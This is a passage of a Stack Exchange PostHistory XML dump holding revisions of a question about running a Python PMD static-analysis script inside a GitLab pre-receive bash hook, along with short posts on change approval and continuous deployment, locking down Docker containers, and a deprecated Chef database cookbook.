&quot;SUCCESS&quot;&#xD;&#xA;        sys.exit(0)&#xD;&#xA;    except subprocess.CalledProcessError, ex:&#xD;&#xA;        print ex.output  # print checkstyle and/or pmd messages&#xD;&#xA;        exit(1)&#xD;&#xA;    finally:&#xD;&#xA;        # remove temporary directory&#xD;&#xA;        shutil.rmtree(tempdir)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thank you very much for your help." ContentLicense="CC BY-SA 3.0" />
  <row Id="3737" PostHistoryTypeId="1" PostId="1114" RevisionGUID="4029868f-c1d4-422f-b3e3-6ff80a86b600" CreationDate="2017-05-05T17:21:07.223" UserId="1073" Text="Combining git pre-receive hooks ticket and PMD policies together do not work" ContentLicense="CC BY-SA 3.0" />
  <row Id="3738" PostHistoryTypeId="3" PostId="1114" RevisionGUID="4029868f-c1d4-422f-b3e3-6ff80a86b600" CreationDate="2017-05-05T17:21:07.223" UserId="1073" Text="&lt;git&gt;&lt;process&gt;&lt;gitlab&gt;&lt;git-hooks&gt;&lt;shell-script&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3739" PostHistoryTypeId="5" PostId="1114" RevisionGUID="f9e3b3b2-1639-4f77-85a7-20e1660babc3" CreationDate="2017-05-05T17:26:33.450" UserId="14" Comment="Syntax highlighting" Text="We have a pre-receive hook script in a bash shell script that enforces commits with messages having the right ticket number in a pre-defined format. We also have a separate python script that can be called in the pre-receive hook bash script to call PMD to statically analyze source code in a branch that developers push to the target remote branch.&#xD;&#xA;&#xD;&#xA;Prior to now, we have been using the pre-receive bash script for validating our development process with respect to our Gitlab server issue tickets.&#xD;&#xA;&#xD;&#xA;I have recently attempted to call the python script in the bash script in such a way that our ticketing and milestone validations are done before calling up PMD to expose source code that does not meet the standard. This did not work in that order, so I decided to call the python script to run PMD before the ticket validations. This also resulted in only the python script running alone without calling the rest of the bash script code.&#xD;&#xA;&#xD;&#xA;I will appreciate any help. Please kindly find the source code of the pre-receive bash script for when I tried calling python/PMD first. Kindly point me to how I can call the python last after the ticket validations.&#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-sh --&gt;&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    #&#xD;&#xA;    # pre-receive hook for Commit Check&#xD;&#xA;    #&#xD;&#xA;    COMPANY_EMAIL=&quot;mycorp.org&quot;&#xD;&#xA;    &#xD;&#xA;    readonly PROGNAME=$(basename $0)&#xD;&#xA;    readonly PROGDIR=$(readlink -m $(dirname $0))&#xD;&#xA;    IS_MERGE=0&#xD;&#xA;    &#xD;&#xA;    check_single_commit()&#xD;&#xA;    {&#xD;&#xA;      COMMIT_CHECK_STATUS=1&#xD;&#xA;        echo &quot;Repo &gt;&gt; $REPOSITORY_BASENAME&quot;&#xD;&#xA;    &#xD;&#xA;        if [[ &quot;$COMMIT_MESSAGE&quot; == &quot;Merge branch&quot;* ]] || [[ &quot;$COMMIT_MESSAGE&quot; == &quot;WIP MI&quot;* ]]; then&#xD;&#xA;          COMMIT_CHECK_STATUS=0&#xD;&#xA;          IS_MERGE=1&#xD;&#xA;        else&#xD;&#xA;        workFlowResult=`java -jar -Dspring.config.location=/home/gitlab/gitlab_custom_hooks/application.properties /home/gitlab/gitlab_custom_hooks/gitlab-tool.jar -prercv &quot;$COMMIT_AUTHOR&quot; &quot;$COMMIT_MESSAGE&quot; &quot;$REPOSITORY_BASENAME&quot;`&#xD;&#xA;        echo &quot;COMMIT_AUTHOR=$COMMIT_AUTHOR, COMMIT_MESSAGE=$COMMIT_MESSAGE, REPOSITORY_BASE=$REPOSITORY_BASENAME&quot;&#xD;&#xA;    &#xD;&#xA;          echo &quot; &gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt; $workFlowResult &gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&quot; &gt;&amp;2&#xD;&#xA;        if [[ &quot;$workFlowResult&quot; == *&quot;PRE_RECEIVE_OK&quot;* ]]; then&#xD;&#xA;          echo &quot; &gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt; $workFlowResult &gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&quot; &gt;&amp;2&#xD;&#xA;          COMMIT_CHECK_STATUS=0&#xD;&#xA;        fi&#xD;&#xA;    &#xD;&#xA;        fi&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    check_all_commits()&#xD;&#xA;    {&#xD;&#xA;      REVISIONS=$(git rev-list $OLD_REVISION..$NEW_REVISION)&#xD;&#xA;      IFS='\n' read -ra LIST_OF_REVISIONS &lt;&lt;&lt; &quot;$REVISIONS&quot;&#xD;&#xA;    if [ $(git rev-parse --is-bare-repository) = true ]&#xD;&#xA;    then&#xD;&#xA;        REPOSITORY_BASENAME=$(basename &quot;$PWD&quot;)&#xD;&#xA;    else&#xD;&#xA;        REPOSITORY_BASENAME=$(basename $(readlink -nf &quot;$PWD&quot;/..))&#xD;&#xA;    fi&#xD;&#xA;        echo REPOSITORY_BASENAME is $REPOSITORY_BASENAME&#xD;&#xA;        REPOSITORY_BASENAME=$(basename &quot;$PWD&quot;)&#xD;&#xA;        REPOSITORY_BASENAME=${REPOSITORY_BASENAME%.git}&#xD;&#xA;    &#xD;&#xA;      for rid in &quot;${!LIST_OF_REVISIONS[@]}&quot;; do&#xD;&#xA;        REVISION=${LIST_OF_REVISIONS[rid]}&#xD;&#xA;        COMMIT_MESSAGE=$(git cat-file commit $REVISION | sed '1,/^$/d')&#xD;&#xA;        COMMIT_AUTHOR=$(git cat-file commit $REVISION | grep committer | sed 's/^.* \([^@ ]\+@[^ ]\+\) \?.*$/\1/' | sed 's/&lt;//' | sed 's/&gt;//' | sed 's/@$COMPANY_EMAIL//')&#xD;&#xA;        check_single_commit&#xD;&#xA;    &#xD;&#xA;        if [ &quot;$COMMIT_CHECK_STATUS&quot; != &quot;0&quot; ]; then&#xD;&#xA;          echo &quot;Commit validation failed for commit $REVISION&quot; &gt;&amp;2&#xD;&#xA;          exit 1&#xD;&#xA;        fi&#xD;&#xA;    &#xD;&#xA;      done&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    echo &quot;Checking the coding style, coding standards and look out for potential issues&quot;&#xD;&#xA;    &#xD;&#xA;    if python /home/gitlab/gitlab_custom_hooks/pmd-policy.py; then&#xD;&#xA;       echo &quot;PMD_CHECK_OK&quot;&#xD;&#xA;       PMD_CHECK_STATUS=0&#xD;&#xA;    &#xD;&#xA;      # Get custom commit message format&#xD;&#xA;    	while read OLD_REVISION NEW_REVISION REFNAME ; do&#xD;&#xA;    		check_all_commits&#xD;&#xA;    	done&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    	exit 0&#xD;&#xA;    &#xD;&#xA;    else&#xD;&#xA;    &#xD;&#xA;      echo &quot;PMD_CHECK_FAILED: Review your Code and fix the issues&quot;&#xD;&#xA;      exit 1&#xD;&#xA;      &#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Below is the code for the python script that calls PMD last commit to a branch at the Gitlab server.&#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-py --&gt;&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/env python&#xD;&#xA;    &#xD;&#xA;    import subprocess&#xD;&#xA;    import sys&#xD;&#xA;    import tempfile&#xD;&#xA;    import shutil&#xD;&#xA;    import os&#xD;&#xA;    import errno&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    pmd = '/home/gitlab/gitlab_custom_hooks/pmd-bin-5.5.4/bin/run.sh'&#xD;&#xA;    &#xD;&#xA;    # implementing check_output for python &lt; 2.7&#xD;&#xA;    if not hasattr(subprocess, 'check_output'):&#xD;&#xA;        def check_output(*popenargs, **kwargs):&#xD;&#xA;            if 'stdout' in kwargs:&#xD;&#xA;                raise ValueError('stdout argument not allowed, it will be overridden.')&#xD;&#xA;            process = subprocess.Popen(stdout=subprocess.PIPE, *popenargs, **kwargs)&#xD;&#xA;            output, unused_err = process.communicate()&#xD;&#xA;            retcode = process.poll()&#xD;&#xA;            if retcode:&#xD;&#xA;                cmd = kwargs.get(&quot;args&quot;)&#xD;&#xA;                if cmd is None:&#xD;&#xA;                    cmd = popenargs[0]&#xD;&#xA;                er = subprocess.CalledProcessError(retcode, cmd)&#xD;&#xA;                er.output = output&#xD;&#xA;                raise er&#xD;&#xA;            return output&#xD;&#xA;        subprocess.check_output = check_output&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    # helper for calling executables&#xD;&#xA;    def call(*args, **kwargs):&#xD;&#xA;        return subprocess.check_output(*args, **kwargs).strip()&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    # helper for calling git&#xD;&#xA;    def call_git(cmd, *args, **kwargs):&#xD;&#xA;        return call(['git'] + cmd, *args, **kwargs)&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    # get all new commits from stdin&#xD;&#xA;    def get_commits():&#xD;&#xA;        commits = {}&#xD;&#xA;        for line in sys.stdin:&#xD;&#xA;            old, new, ref = line.strip().split(' ')&#xD;&#xA;            if old == '0000000000000000000000000000000000000000':&#xD;&#xA;                old = '4b825dc642cb6eb9a060e54bf8d69288fbee4904'&#xD;&#xA;    &#xD;&#xA;            if ref not in commits:&#xD;&#xA;                commits[ref] = []&#xD;&#xA;            commits[ref].append({&#xD;&#xA;                'old': old,&#xD;&#xA;                'new': new,&#xD;&#xA;                'files': get_changed_files(old, new)&#xD;&#xA;                })&#xD;&#xA;    &#xD;&#xA;        return commits&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    # get a list of changed files between to commits&#xD;&#xA;    def get_changed_files(old, new):&#xD;&#xA;        return call_git(['diff', '--name-only', old, new]).split('\n')&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    # get filemode, object type (blob,tree,commit), hash for the given file at the&#xD;&#xA;    # given commit&#xD;&#xA;    def get_change_type(commit, filename):&#xD;&#xA;        return call_git(['ls-tree', commit, filename]).split('\t')[0].split(' ')&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    commits = get_commits()&#xD;&#xA;    &#xD;&#xA;    # use the latest file commit only&#xD;&#xA;    print &quot;Cleaning up file list...&quot;&#xD;&#xA;    &#xD;&#xA;    files = {}&#xD;&#xA;    count = 0&#xD;&#xA;    for ref, data in commits.iteritems():&#xD;&#xA;        files[ref] = {}&#xD;&#xA;        for commit in data:&#xD;&#xA;            for filename in commit['files']:&#xD;&#xA;                if not filename.lower().endswith('.java'): continue&#xD;&#xA;                files[ref][filename] = get_change_type(commit['new'], filename)&#xD;&#xA;        count += len(files[ref])&#xD;&#xA;    &#xD;&#xA;    print &quot;%d Files to check in %d branches&quot; % (count, len(files))&#xD;&#xA;    &#xD;&#xA;    # create temporary dir and save a copy of the new files&#xD;&#xA;    tempdir = tempfile.mkdtemp('git_hook')&#xD;&#xA;    for ref, files in files.iteritems():&#xD;&#xA;        for filename, data in files.iteritems():&#xD;&#xA;            dname = os.path.dirname(filename)&#xD;&#xA;            bname = os.path.basename(filename)&#xD;&#xA;            try:&#xD;&#xA;                os.makedirs(os.path.join(tempdir, dname))&#xD;&#xA;            except OSError, exc:&#xD;&#xA;                if exc.errno == errno.EEXIST:  # directory exists already&#xD;&#xA;                    pass&#xD;&#xA;                else:&#xD;&#xA;                    raise&#xD;&#xA;    &#xD;&#xA;            with open(os.path.join(tempdir, dname, bname), 'w') as fp:&#xD;&#xA;                fp.write(call_git(['cat-file', data[1], data[2]]))&#xD;&#xA;    &#xD;&#xA;    try:&#xD;&#xA;        # call checkstyle and/or pmd and print output&#xD;&#xA;        print call([pmd, 'pmd', '-d', tempdir, '-f', 'text', '-R', 'rulesets/java/basic.xml,rulesets/java/unusedcode.xml,rulesets/java/imports.xml,rulesets/java/strings.xml,rulesets/java/braces.xml,rulesets/java/clone.xml,rulesets/java/design.xml,rulesets/java/clone.xml,rulesets/java/finalizers.xml,rulesets/java/junit.xml,rulesets/java/migrating.xml,rulesets/java/optimizations.xml,rulesets/java/strictexception.xml,rulesets/java/sunsecure.xml,rulesets/java/typeresolution.xml'])&#xD;&#xA;        print &quot;SUCCESS&quot;&#xD;&#xA;        sys.exit(0)&#xD;&#xA;    except subprocess.CalledProcessError, ex:&#xD;&#xA;        print ex.output  # print checkstyle and/or pmd messages&#xD;&#xA;        exit(1)&#xD;&#xA;    finally:&#xD;&#xA;        # remove temporary directory&#xD;&#xA;        shutil.rmtree(tempdir)" ContentLicense="CC BY-SA 3.0" />
  <row Id="3740" PostHistoryTypeId="5" PostId="1114" RevisionGUID="5e32d14b-550e-4e4f-8e31-8c7a55228a84" CreationDate="2017-05-05T17:26:47.523" UserId="1073" Comment="added 18 characters in body; edited title" Text="We have a pre-receive hook script in a bash shell script that enforces commits with messages having the right ticket number in a pre-defined format. We also have a separate python script that can be called in the pre-receive hook bash script to call PMD to statically analyze source code in a branch that developers push to the target remote branch.&#xD;&#xA;&#xD;&#xA;Prior to now, we have been using the pre-receive bash script for validating our development process with respect to our Gitlab server issue tickets.&#xD;&#xA;&#xD;&#xA;I have recently attempted to call the python script in the bash script in such a way that our ticketing and milestone validations are done before calling up PMD to expose source code that does not meet the standard. This did not work in that order, so I decided to call the python script to run PMD before the ticket validations. This also resulted in only the python script running alone without calling the rest of the bash script code.&#xD;&#xA;&#xD;&#xA;I will appreciate any help. Please kindly find the source code of the pre-receive bash script for when I tried calling python/PMD first. Kindly point me to how I can call the python last after the ticket validations.&#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-sh --&gt;&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    #&#xD;&#xA;    # pre-receive hook for Commit Check&#xD;&#xA;    #&#xD;&#xA;    COMPANY_EMAIL=&quot;mycorp.org&quot;&#xD;&#xA;    &#xD;&#xA;    readonly PROGNAME=$(basename $0)&#xD;&#xA;    readonly PROGDIR=$(readlink -m $(dirname $0))&#xD;&#xA;    IS_MERGE=0&#xD;&#xA;    &#xD;&#xA;    check_single_commit()&#xD;&#xA;    {&#xD;&#xA;      COMMIT_CHECK_STATUS=1&#xD;&#xA;        echo &quot;Repo &gt;&gt; $REPOSITORY_BASENAME&quot;&#xD;&#xA;    &#xD;&#xA;        if [[ &quot;$COMMIT_MESSAGE&quot; == &quot;Merge branch&quot;* ]] || [[ &quot;$COMMIT_MESSAGE&quot; == &quot;WIP MI&quot;* ]]; then&#xD;&#xA;          COMMIT_CHECK_STATUS=0&#xD;&#xA;          IS_MERGE=1&#xD;&#xA;        else&#xD;&#xA;        workFlowResult=`java -jar -Dspring.config.location=/home/gitlab/gitlab_custom_hooks/application.properties /home/gitlab/gitlab_custom_hooks/gitlab-tool.jar -prercv &quot;$COMMIT_AUTHOR&quot; &quot;$COMMIT_MESSAGE&quot; &quot;$REPOSITORY_BASENAME&quot;`&#xD;&#xA;        echo &quot;COMMIT_AUTHOR=$COMMIT_AUTHOR, COMMIT_MESSAGE=$COMMIT_MESSAGE, REPOSITORY_BASE=$REPOSITORY_BASENAME&quot;&#xD;&#xA;    &#xD;&#xA;          echo &quot; &gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt; $workFlowResult &gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&quot; &gt;&amp;2&#xD;&#xA;        if [[ &quot;$workFlowResult&quot; == *&quot;PRE_RECEIVE_OK&quot;* ]]; then&#xD;&#xA;          echo &quot; &gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt; $workFlowResult &gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&quot; &gt;&amp;2&#xD;&#xA;          COMMIT_CHECK_STATUS=0&#xD;&#xA;        fi&#xD;&#xA;    &#xD;&#xA;        fi&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    check_all_commits()&#xD;&#xA;    {&#xD;&#xA;      REVISIONS=$(git rev-list $OLD_REVISION..$NEW_REVISION)&#xD;&#xA;      IFS='\n' read -ra LIST_OF_REVISIONS &lt;&lt;&lt; &quot;$REVISIONS&quot;&#xD;&#xA;    if [ $(git rev-parse --is-bare-repository) = true ]&#xD;&#xA;    then&#xD;&#xA;        REPOSITORY_BASENAME=$(basename &quot;$PWD&quot;)&#xD;&#xA;    else&#xD;&#xA;        REPOSITORY_BASENAME=$(basename $(readlink -nf &quot;$PWD&quot;/..))&#xD;&#xA;    fi&#xD;&#xA;        echo REPOSITORY_BASENAME is $REPOSITORY_BASENAME&#xD;&#xA;        REPOSITORY_BASENAME=$(basename &quot;$PWD&quot;)&#xD;&#xA;        REPOSITORY_BASENAME=${REPOSITORY_BASENAME%.git}&#xD;&#xA;    &#xD;&#xA;      for rid in &quot;${!LIST_OF_REVISIONS[@]}&quot;; do&#xD;&#xA;        REVISION=${LIST_OF_REVISIONS[rid]}&#xD;&#xA;        COMMIT_MESSAGE=$(git cat-file commit $REVISION | sed '1,/^$/d')&#xD;&#xA;        COMMIT_AUTHOR=$(git cat-file commit $REVISION | grep committer | sed 's/^.* \([^@ ]\+@[^ ]\+\) \?.*$/\1/' | sed 's/&lt;//' | sed 's/&gt;//' | sed 's/@$COMPANY_EMAIL//')&#xD;&#xA;        check_single_commit&#xD;&#xA;    &#xD;&#xA;        if [ &quot;$COMMIT_CHECK_STATUS&quot; != &quot;0&quot; ]; then&#xD;&#xA;          echo &quot;Commit validation failed for commit $REVISION&quot; &gt;&amp;2&#xD;&#xA;          exit 1&#xD;&#xA;        fi&#xD;&#xA;    &#xD;&#xA;      done&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    echo &quot;Checking the coding style, coding standards and look out for potential issues&quot;&#xD;&#xA;    &#xD;&#xA;    if python /home/gitlab/gitlab_custom_hooks/pmd-policy.py; then&#xD;&#xA;       echo &quot;PMD_CHECK_OK&quot;&#xD;&#xA;       PMD_CHECK_STATUS=0&#xD;&#xA;    &#xD;&#xA;      # Get custom commit message format&#xD;&#xA;    	while read OLD_REVISION NEW_REVISION REFNAME ; do&#xD;&#xA;    		check_all_commits&#xD;&#xA;    	done&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    	exit 0&#xD;&#xA;    &#xD;&#xA;    else&#xD;&#xA;    &#xD;&#xA;      echo &quot;PMD_CHECK_FAILED: Review your Code and fix the issues&quot;&#xD;&#xA;      exit 1&#xD;&#xA;      &#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Below is the code for the python script that calls PMD last commit to a branch at the Gitlab server.&#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-py --&gt;&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/env python&#xD;&#xA;    &#xD;&#xA;    import subprocess&#xD;&#xA;    import sys&#xD;&#xA;    import tempfile&#xD;&#xA;    import shutil&#xD;&#xA;    import os&#xD;&#xA;    import errno&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    pmd = '/home/gitlab/gitlab_custom_hooks/pmd-bin-5.5.4/bin/run.sh'&#xD;&#xA;    &#xD;&#xA;    # implementing check_output for python &lt; 2.7&#xD;&#xA;    if not hasattr(subprocess, 'check_output'):&#xD;&#xA;        def check_output(*popenargs, **kwargs):&#xD;&#xA;            if 'stdout' in kwargs:&#xD;&#xA;                raise ValueError('stdout argument not allowed, it will be overridden.')&#xD;&#xA;            process = subprocess.Popen(stdout=subprocess.PIPE, *popenargs, **kwargs)&#xD;&#xA;            output, unused_err = process.communicate()&#xD;&#xA;            retcode = process.poll()&#xD;&#xA;            if retcode:&#xD;&#xA;                cmd = kwargs.get(&quot;args&quot;)&#xD;&#xA;                if cmd is None:&#xD;&#xA;                    cmd = popenargs[0]&#xD;&#xA;                er = subprocess.CalledProcessError(retcode, cmd)&#xD;&#xA;                er.output = output&#xD;&#xA;                raise er&#xD;&#xA;            return output&#xD;&#xA;        subprocess.check_output = check_output&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    # helper for calling executables&#xD;&#xA;    def call(*args, **kwargs):&#xD;&#xA;        return subprocess.check_output(*args, **kwargs).strip()&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    # helper for calling git&#xD;&#xA;    def call_git(cmd, *args, **kwargs):&#xD;&#xA;        return call(['git'] + cmd, *args, **kwargs)&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    # get all new commits from stdin&#xD;&#xA;    def get_commits():&#xD;&#xA;        commits = {}&#xD;&#xA;        for line in sys.stdin:&#xD;&#xA;            old, new, ref = line.strip().split(' ')&#xD;&#xA;            if old == '0000000000000000000000000000000000000000':&#xD;&#xA;                old = '4b825dc642cb6eb9a060e54bf8d69288fbee4904'&#xD;&#xA;    &#xD;&#xA;            if ref not in commits:&#xD;&#xA;                commits[ref] = []&#xD;&#xA;            commits[ref].append({&#xD;&#xA;                'old': old,&#xD;&#xA;                'new': new,&#xD;&#xA;                'files': get_changed_files(old, new)&#xD;&#xA;                })&#xD;&#xA;    &#xD;&#xA;        return commits&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    # get a list of changed files between to commits&#xD;&#xA;    def get_changed_files(old, new):&#xD;&#xA;        return call_git(['diff', '--name-only', old, new]).split('\n')&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    # get filemode, object type (blob,tree,commit), hash for the given file at the&#xD;&#xA;    # given commit&#xD;&#xA;    def get_change_type(commit, filename):&#xD;&#xA;        return call_git(['ls-tree', commit, filename]).split('\t')[0].split(' ')&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    commits = get_commits()&#xD;&#xA;    &#xD;&#xA;    # use the latest file commit only&#xD;&#xA;    print &quot;Cleaning up file list...&quot;&#xD;&#xA;    &#xD;&#xA;    files = {}&#xD;&#xA;    count = 0&#xD;&#xA;    for ref, data in commits.iteritems():&#xD;&#xA;        files[ref] = {}&#xD;&#xA;        for commit in data:&#xD;&#xA;            for filename in commit['files']:&#xD;&#xA;                if not filename.lower().endswith('.java'): continue&#xD;&#xA;                files[ref][filename] = get_change_type(commit['new'], filename)&#xD;&#xA;        count += len(files[ref])&#xD;&#xA;    &#xD;&#xA;    print &quot;%d Files to check in %d branches&quot; % (count, len(files))&#xD;&#xA;    &#xD;&#xA;    # create temporary dir and save a copy of the new files&#xD;&#xA;    tempdir = tempfile.mkdtemp('git_hook')&#xD;&#xA;    for ref, files in files.iteritems():&#xD;&#xA;        for filename, data in files.iteritems():&#xD;&#xA;            dname = os.path.dirname(filename)&#xD;&#xA;            bname = os.path.basename(filename)&#xD;&#xA;            try:&#xD;&#xA;                os.makedirs(os.path.join(tempdir, dname))&#xD;&#xA;            except OSError, exc:&#xD;&#xA;                if exc.errno == errno.EEXIST:  # directory exists already&#xD;&#xA;                    pass&#xD;&#xA;                else:&#xD;&#xA;                    raise&#xD;&#xA;    &#xD;&#xA;            with open(os.path.join(tempdir, dname, bname), 'w') as fp:&#xD;&#xA;                fp.write(call_git(['cat-file', data[1], data[2]]))&#xD;&#xA;    &#xD;&#xA;    try:&#xD;&#xA;        # call checkstyle and/or pmd and print output&#xD;&#xA;        print call([pmd, 'pmd', '-d', tempdir, '-f', 'text', '-R', 'rulesets/java/basic.xml,rulesets/java/unusedcode.xml,rulesets/java/imports.xml,rulesets/java/strings.xml,rulesets/java/braces.xml,rulesets/java/clone.xml,rulesets/java/design.xml,rulesets/java/clone.xml,rulesets/java/finalizers.xml,rulesets/java/junit.xml,rulesets/java/migrating.xml,rulesets/java/optimizations.xml,rulesets/java/strictexception.xml,rulesets/java/sunsecure.xml,rulesets/java/typeresolution.xml'])&#xD;&#xA;        print &quot;SUCCESS&quot;&#xD;&#xA;        sys.exit(0)&#xD;&#xA;    except subprocess.CalledProcessError, ex:&#xD;&#xA;        print ex.output  # print checkstyle and/or pmd messages&#xD;&#xA;        exit(1)&#xD;&#xA;    finally:&#xD;&#xA;        # remove temporary directory&#xD;&#xA;        shutil.rmtree(tempdir)" ContentLicense="CC BY-SA 3.0" />
  <row Id="3741" PostHistoryTypeId="4" PostId="1114" RevisionGUID="5e32d14b-550e-4e4f-8e31-8c7a55228a84" CreationDate="2017-05-05T17:26:47.523" UserId="1073" Comment="added 18 characters in body; edited title" Text="Problems with integrating Python script in a Bash script Git pre-receive hook" ContentLicense="CC BY-SA 3.0" />
  <row Id="3742" PostHistoryTypeId="2" PostId="1115" RevisionGUID="ca21a5c9-1648-4dec-a9bd-81177c53c099" CreationDate="2017-05-05T20:51:24.617" UserId="488" Text="If you must adhere to the change process, you'll be limited according to the limitations of the change process, full stop. If changes must be approved prior to deployment, you cannot do continuous deployment. If approval takes a long time, you cannot deploy quickly. There's no workaround whereby you can both follow the process and not be impacted by it. That's the cost of following the change process, and it's a cost worth bringing to the attention of the stakeholders in that process.&#xD;&#xA;&#xD;&#xA;All is not lost... you can maximize the automation *around* the process, in order to minimize errors; all of the CD steps *except for* the linkage between generating a stable artifact and deploying that artifact to production. That linkage would be replaced by either some kind of user intervention (button, CLI command, etc.), or linked to the record of approval (e.g. when a change request ticket is moved to the &quot;approved&quot; state, fire off the associated deployment). You just have to squeeze as much benefit as you can out of it, while following whatever mandatory process you've been saddled with. It won't make approvals go any faster, of course." ContentLicense="CC BY-SA 3.0" />
  <row Id="3745" PostHistoryTypeId="6" PostId="1114" RevisionGUID="c005937c-1520-4007-aee8-9a324c3ac5a6" CreationDate="2017-05-06T05:42:40.663" UserId="46" Comment="edited tags" Text="&lt;git&gt;&lt;gitlab&gt;&lt;git-hooks&gt;&lt;shell-script&gt;&lt;python&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3746" PostHistoryTypeId="2" PostId="1116" RevisionGUID="9b117237-361a-482a-ab02-4ffe61a0ede4" CreationDate="2017-05-06T09:45:55.890" UserId="2660" Text="I want to deliver my app to customers in form of docker image. But it is crucial to ensure that end-user do not alter anything inside the container. User should only be able to run/stop the container and interact with the container via network.&#xA;&#xA;Is it possible to prohibit access to internals of container?&#xA;Is it possible to verify integrity of image that container made from?&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3747" PostHistoryTypeId="1" PostId="1116" RevisionGUID="9b117237-361a-482a-ab02-4ffe61a0ede4" CreationDate="2017-05-06T09:45:55.890" UserId="2660" Text="How to prohibit access to internals of Docker container?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3748" PostHistoryTypeId="3" PostId="1116" RevisionGUID="9b117237-361a-482a-ab02-4ffe61a0ede4" CreationDate="2017-05-06T09:45:55.890" UserId="2660" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3749" PostHistoryTypeId="2" PostId="1117" RevisionGUID="b0aa68e8-b97d-4dbe-8ecb-63118f0b8888" CreationDate="2017-05-06T12:35:11.487" UserId="2590" Text="You can remove the users from the docker group and create sudos for the `docker start` and `docker stop`. " ContentLicense="CC BY-SA 3.0" />
  <row Id="3750" PostHistoryTypeId="6" PostId="1116" RevisionGUID="18f54c83-d870-4594-aba9-0373d8405947" CreationDate="2017-05-06T15:15:58.523" UserId="46" Comment="edited tags" Text="&lt;docker&gt;&lt;security&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3751" PostHistoryTypeId="2" PostId="1118" RevisionGUID="8278c1d2-2001-4c40-b825-953ed39c482b" CreationDate="2017-05-06T21:31:31.310" UserId="72" Text="In short, you cannot prevent your customers from modifying containers they run in their own infrastructure.  Containers are not like binaries that can be obfuscated; they are runtime environments.  The code you distribute inside the container, however, can be obfuscated.&#xD;&#xA;&#xD;&#xA;Your question alludes to a third-party support issue: clients modifying software they run in their own environments.  If you provide tools to *operate* the containers you supply (e.g. monitoring and logging) then the clients should agree (as part of a software license) not to make unauthorized modifications to them.  This applies to all types of third-party software, not just containers.  &#xD;&#xA;&#xD;&#xA;Depending on your situation, you may also have the option to provide your app as Software As A Service (SaaS) running in a cloud infrastructure.&#xD;&#xA;&#xD;&#xA;If your client requires your containers be run on their infrastructure, and refuses to abide by modification restrictions, then you probably don't want to try to support their use of your software." ContentLicense="CC BY-SA 3.0" />
  <row Id="3757" PostHistoryTypeId="2" PostId="1120" RevisionGUID="92e5e042-52af-4db7-89cf-ef43cc58a0a0" CreationDate="2017-05-08T12:06:37.287" UserId="2661" Text="I frequently use chef database cookbook and it is being deprecated doesn't receive any updates. They even disabled issues on the github so it is not possible to check if any issues I encounter have been discussed and possible solutions were proposed. The deprecation notice says that functionality of this cookbook is supposed to be moved to individual database cookbooks but this still isn't implemented, at least for MySQL. Is there any alternatives to this cookbook or I'm just stuck with creating another fork alongside hundreds of others? " ContentLicense="CC BY-SA 3.0" />
  <row Id="3758" PostHistoryTypeId="1" PostId="1120" RevisionGUID="92e5e042-52af-4db7-89cf-ef43cc58a0a0" CreationDate="2017-05-08T12:06:37.287" UserId="2661" Text="chef database cookbook deprecated" ContentLicense="CC BY-SA 3.0" />
  <row Id="3759" PostHistoryTypeId="3" PostId="1120" RevisionGUID="92e5e042-52af-4db7-89cf-ef43cc58a0a0" CreationDate="2017-05-08T12:06:37.287" UserId="2661" Text="&lt;chef&gt;" ContentLicense="CC BY-SA 3.0" />
